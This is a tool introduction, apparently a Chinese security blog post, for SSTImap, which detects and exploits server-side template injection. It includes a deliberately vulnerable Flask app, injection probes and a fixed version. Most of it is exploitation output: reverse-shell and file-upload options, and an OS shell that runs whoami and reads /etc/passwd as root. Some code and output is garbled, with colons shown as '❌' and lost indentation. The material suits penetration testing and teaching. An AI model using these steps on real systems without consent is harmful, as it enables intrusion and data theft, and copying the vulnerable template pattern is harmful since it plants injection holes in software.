SSTImap：一款带有交互式接口的自动化SSTI检测工具

git clone https://github.com/vladko312/SSTImap.git

cd SSTImap
pip install requirements.txt

from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)
if name == "main":

app.run(host='0.0.0.0', port=80)

$ curl -g 'https://www.target.com/page?name=John'

Hello John!<br>

OS type: posix

$ curl -g 'https://www.target.com/page?name={{7*7}}'

Hello 49!<br>

OS type: posix

from flask import Flask, request, render_template_string

import os 

app = Flask(__name__)

@app.route("/page")

def page():

name = request.args.get('name', 'World')

template = "Hello, {{name}}!<br>\n" 

"OS type: {{os}}"

return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":

app.run(host='0.0.0.0', port=80)

$ ./sstimap.py -u https://example.com/page?name=John
    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:
    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
    --os-shell                   弹出交互式操作系统
    --os-cmd                   执行操作系统命令
    --eval-shell                 在模板引擎基础语言上输入交互式Shell
    --eval-cmd                  评估模板引擎基础语言中的代码
    --tpl-shell                  弹出模版引擎上的交互式
    --tpl-cmd                    向模版引擎注入代码
    --bind-shell PORT            连接至绑定了目标设备端口的Shell
    --reverse-shell HOST PORT    向攻击者设备端口发送回Shell
    --upload LOCAL REMOTE        向服务器上传文件
--download REMOTE LOCAL      下载远程文件

$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                         │                  | |
                                            |_|

[] Version: 0.6#dev

[] Author: @vladko312

[] Based on Tplmap

[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.

It is the end user's responsibility to obey all applicable local, state and federal laws.

Developers assume no liability and are not responsible for any misuse or damage caused by this program

[] Testing if GET parameter 'name' is injectable

[] Smarty plugin is testing rendering with tag ''

...

[] Jinja2 plugin is testing rendering with tag '{{}}'

[+] Jinja2 plugin has confirmed injection with tag '{{}}'

[+] SSTImap identified the following injection point:

GET parameter: name

Engine: Jinja2

Injection: {{}}

Context: text

OS: posix-linux

Technique: render

Capabilities:

Shell command execution: ok

Bind and reverse shell: ok

File write: ok

File read: ok

    Code evaluation: ok, python code[+] Run commands on the operating system.

posix-linux $ whoami

root

posix-linux $ cat /etc/passwd

root❌0:0:root:/root:/bin/bash

daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin❌2:2:bin:/bin:/usr/sbin/nologin